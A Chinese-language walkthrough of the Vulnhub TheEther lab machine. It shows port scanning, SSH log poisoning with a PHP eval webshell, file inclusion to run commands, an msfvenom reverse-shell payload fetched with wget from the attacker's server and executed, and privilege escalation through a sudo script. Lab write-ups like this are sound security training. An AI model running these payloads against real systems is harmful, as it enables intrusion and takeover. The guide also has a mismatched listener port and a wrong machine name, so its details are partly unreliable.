Vulhub TheEther_1.0.1靶机详解

news/2024/9/27 22:13:25 标签: 网络安全

项目地址

https://download.vulnhub.com/theether/theEther_1.0.1.zip

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

使用nmap进行主机发现,获取靶机IP地址

nmap 192.168.47.1-254

根据对比可知theEther的一个ip地址为192.168.47.164

扫描Zico 2的操作系统,端口及对应服务

nmap -A -p- 192.168.47.164

发现开放22,80端口

目录扫描

dirb http://192.168.47.164

访问网站获取敏感信息

在About us这里疑似存在文件包含漏洞

由敏感信息可知其服务器中间件是apache,文件包含可通过日志文件包含获权

尝试拼接默认目录 -> /var/log/auth.log路径无法访问,存在报错

尝试利用ssh登录报错注入进错误访问日志中

ssh "<?php eval($_GET[cmd]);?>"@192.168.47.164

尝试burp抓包,查看数据包信息

发送到Repeater模块,拼接日志路径

获取shell

拼接命令

&d1no

打开kali,利用msf生成shell -> 同时打开msf的内部监听

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.47.129 LPORT=4444 -f elf > shell.elf

msfconsole
 
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.47.129
set lport 7272

新启一个http临时服务,让靶机远程下载shell.elf文件

python -m http.server 2429

/?file=/var/log/auth.log&d1no=system('wget+192.168.47.129:2429/shell.elf');
/?file=/var/log/auth.log&d1no=system('chmod+%2bx+shell.elf');
/?file=/var/log/auth.log&d1no=system('./shell.elf');

监听成功

提权

获得可交互式shell

shell
python -c 'import pty;pty.spawn("/bin/bash")'

查看可利用提权

sudo -l

sudo ./xxxlogauditorxxx.py
/var/log/auth.log | whoami

提权成功


http://www.niftyadmin.cn/n/5679674.html

相关文章

基于springboot+vue医院挂号就诊系统设计与实现

基于springbootvue医院挂号就诊系统设计与实现 springboot180基于spring boot的医院挂号就诊系统 摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费…

RabbitMQ的高级特性-消息确认机制

对于RabbitMQ发送消息到消费端的可靠性保障 引入&#xff1a;发送者发送消息后&#xff0c;到达消费端之后会出现一下两种情况&#xff1a; ①消息处理成功 ②消息处理异常 RabbitMQ向消费者发送消息之后, 就会把这条消息删掉, 那么第两种情况, 就会造成消息丢失&#xff0…

LLM Agent系列 | 端侧Agent路由器,合纵连横AI江湖,破局端侧大模型之困!

引言 简介 背景 相关工作 Octopus v4 Octopus v2 图中节点 基于图的任务规划 功能token和数据集收集 图系统设计 评测 专业模型 MMLU基准评估 实战 英文 中文示例1 中文示例2 总结 引言 若待上林花似锦&#xff0c;出门俱是看花人。 小伙伴们好&#xff0c;我是…

付费计量系统标准化未来展望

Items relating to the standardization of payment metering systems that might need to be addressed in the future are: 与付费计量系统标准化相关的&#xff0c;在将来需要增加的项目有&#xff1a; a) as each industry specification is proposed to the IEC f…

vue-cli,element-plus,axios,proxy

一、vue-cli vue-cli俗称vue脚手架&#xff0c;是vue官方提供的快速生成vue 工程化项目的工具。 1.官网&#xff1a;https://cn.vuejs.org/ 中文官网: https://cli.vuejs.org/zh/ 特点&#xff1a;基于webpack&#xff0c;功能丰富且易于扩展&#xff0c;支持创建vue2和vu…

Translation Consistent Semi-supervised Segmentation for 3D Medical Images 阅读

code: yyliu01/TraCoCo: [TMI24] Translation Consistent Semi-supervised Segmentation for 3D Medical Images (github.com) paper:Translation Consistent Semi-supervised Segmentation for 3D Medical Images (arxiv.org) Abstract 三维医学图像分割方法已经取得了成功…

端口复用实战:原理、功能与案例详解

1. 引言 在网络通信中,端口是一个重要的概念。它允许多个网络服务在同一台计算机上共存。然而,传统上每个端口只能被一个服务占用。端口复用技术打破了这个限制,允许多个服务共享同一个端口,从而提高了资源利用率和系统灵活性。本文将深入探讨端口复用的原理、功能,并通过…

Golang | Leetcode Golang题解之第433题最小基因变化

题目&#xff1a; 题解&#xff1a; func diffOne(s, t string) (diff bool) {for i : range s {if s[i] ! t[i] {if diff {return false}diff true}}return }func minMutation(start, end string, bank []string) int {if start end {return 0}m : len(bank)adj : make([][…